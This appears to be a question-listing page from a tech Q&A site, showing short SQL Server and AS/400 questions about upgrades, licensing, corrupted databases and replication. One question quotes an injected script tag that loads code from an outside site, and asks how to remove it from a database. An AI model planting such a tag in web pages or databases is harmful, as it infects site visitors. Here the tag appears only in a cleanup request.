SQL Server Tag Directory

Featured SQL Server Questions

Flowchart and algorithm
How can I find a flow chart and algorithm of a program that finds the minimum of three values?

Answer Question   |  May 12, 2013  11:18 AM
SQL program, SQL Server 2005
asked by:
15 pts.

Flowchart
Can someone help me write a flow chart and algorithm of a program where the user is asked to find an integer number between 1 and 50? Thanks!

Answer Question   |  May 12, 2013  11:13 AM
Algorithms, SQL Server 2005
asked by:
15 pts.

SQL Plus stops before finishing
Why does SQL+ stop after running so many characters in a long SQL statement?

Answer Question   |  April 3, 2013  12:23 PM
SQL Plus, SQL statement
asked by:
15 pts.

Server upgrade 2003 to 2008
I’m upgrading my server hardware, I currently have server 2003. I also want to upgrade to server 2008 too. The new server I’m getting comes with its own new drives. How can I upgrade to a completely new server and upgrade to 2008, while retaining all of my data and Active Directory, etc.

Answer Question   |  March 26, 2013  10:13 PM
SQL Server 2003, SQL Server 2008 R2
asked by:
5 pts.

SQL Studio 2005 expired but it is not evaluation copy?
What happened? SQL Studio 2005 says evaluation period has expired even though I have a licensed copy of SQL Server 2005 installed. Please help.

Answer Question   |  March 4, 2013  2:24 PM
SQL Server 2005, SQL Studio
asked by:
25 pts.

How to open SQL 2005 after installation
How do I use SQL 2005 after installation?

Answer Question   |  January 30, 2013  1:38 PM
SQL Server 2005, SQL Server installation
asked by:
5 pts.

Validate SQL and display the output
I have a screen where the user can enter an SQL script, I need to validate whether the SQL query is a valid one, if so then display the output on to the screen. I am planning to execute a SQL prepare statement out of the script entered and then use SQLCOD to determine whether [...]

Answer Question   |  January 29, 2013  8:14 AM
SQL Query, SQL scripts, SQLRPGLE
asked by:
1,930 pts.

Attaching AdventureWorks database To SQL Server 2005 SP1
How can I get the AdventureWorks database for SQL Server 2005 SP1??

Answer Question   |  December 14, 2012  9:35 AM
AdventureWorks, SQL Server 2005
asked by:
5 pts.

Debug
How to debug an SQL Stored Procedure?

Answer Question   |  November 16, 2012  1:14 PM
SQL, SQL procedure
asked by:
35 pts.

SQL Select Stmt
Need to create a sql stmt to find all the people who work on exactly the same projects and same hours as Smith.

Answer Question   |  October 26, 2012  1:56 AM
SQL Select
asked by:
55 pts.

System i Navigator Run SQL Script block CL commands
Hello. The run sql script in System i Navigator allows me to run CL commands. How can i block this? Thx in advance.

Answer Question   |  October 19, 2012  11:53 AM
CL command, IBM, iNavigator, Sql Script
asked by:
20 pts.

How to insert data from SQL procedure
How can I insert data from SQL procedure. I am using cursor.

Answer Question   |  October 16, 2012  8:42 AM
AS/400, SQL procedure
asked by:
1,240 pts.

I am getting following error for SQL server 2005/2008
Hi, I have SQL server 2005 and SQL server 2008, both are installed on the same machine. Now I want to pass the server name like mymachine\mssql2008 to one of my own stored procedure. This procedure tries to get the fully qualified table name of a particular table of some database which is on SQL [...]

Answer Question   |  September 12, 2012  6:35 PM
SQL Server 2005, SQL Server 2008
asked by:
5 pts.

How to retrieve tables?
My SQL Server 2005 database get corrupted because of a virus infection. No tables are showing now. My database folder contains .mdf, .ldf and file (3 files) can I retrieve my tables using one of this. Any solution please? I don’t have any other backups. Please get a solution.

Answer Question   |  July 13, 2012  8:36 PM
SQL Server 2005, SQL Server database
asked by:
35 pts.

Database Recreate
My SQL server 2000 Database is corrupted because of a virus infection. No tables are showing now. My database folder contains .mdf, .ldf and file (3 files) can I retrieve my tables using one of this. Any solution please? I don’t have any other backups. Please get a solution.

Answer Question   |  July 12, 2012  11:42 AM
SQL Server 2000, SQL Server database
asked by:
35 pts.

Filter SQL Replication Deletes by user
I am in the process of setting up replication from sql 2008r2 to Oracle 11.  I have one requirement that is giving me some issues.  My sql db is the publisher and currently maintains data from year 1.  The Oracle subscriber will maintain 7 years data.  After the initial snapshot the sql db will only [...]

Answer Question   |  July 11, 2012  6:13 PM
Replicating databases, Replication, SQL replication
asked by:
5 pts.

Remove SQL Injection script
I need a t-SQL routine that will remove this script ‘</title><script src=http://statsmy.com/ur.php ></script>’ from my MSSQL database. The routine needs to either ignore text / Ntext variables or also fix them. Thanks for your help!

Answer Question   |  June 20, 2012  3:28 PM
SQL injection
asked by:
15 pts.

Connecting MS SQL server and database.
Hi, i am trying to connect MS SQL server and database from visual c++ 2005. Can anybody help me please.

Answer Question   |  June 19, 2012  10:19 AM
SQL Server 2005, Visual C++
asked by:
5 pts.

CL/QMQRY
i hav code   STRQMQRY QMQRY(SQLPROC) OUTPUT(*OUTFILE) + OUTFILE(QTEMP/SQLDT)   In SQLProc txt file i am callin a sql procedure , developed using i series navigator and return data set using cursor. i want this cursor output in qtemp/sqldt file. in sqlproc if i mentioned SELECT statment , then it will work fine, but i want [...]

Answer Question   |  June 7, 2012  12:16 PM
AS/400, QMQRY, SQL procedure
asked by:
15 pts.

Crystal 8.5 export trouble
My Application is developed in Vb6,Sqlserver2003 and crystal report 8.5.this application is well run on windows XP,Server2003 etc. but now we are Shift our OS to Server 2008 R2 32 bit. application running well but when I trying to export reprot(i.e click on export button of the crystal report) suddenly application going to crash.I cant [...]

Answer Question   |  June 5, 2012  9:48 AM
Crystal Reports 8.5, SQL Server 2003
asked by:
5 pts.

SQL Server Tags - SQL to SQL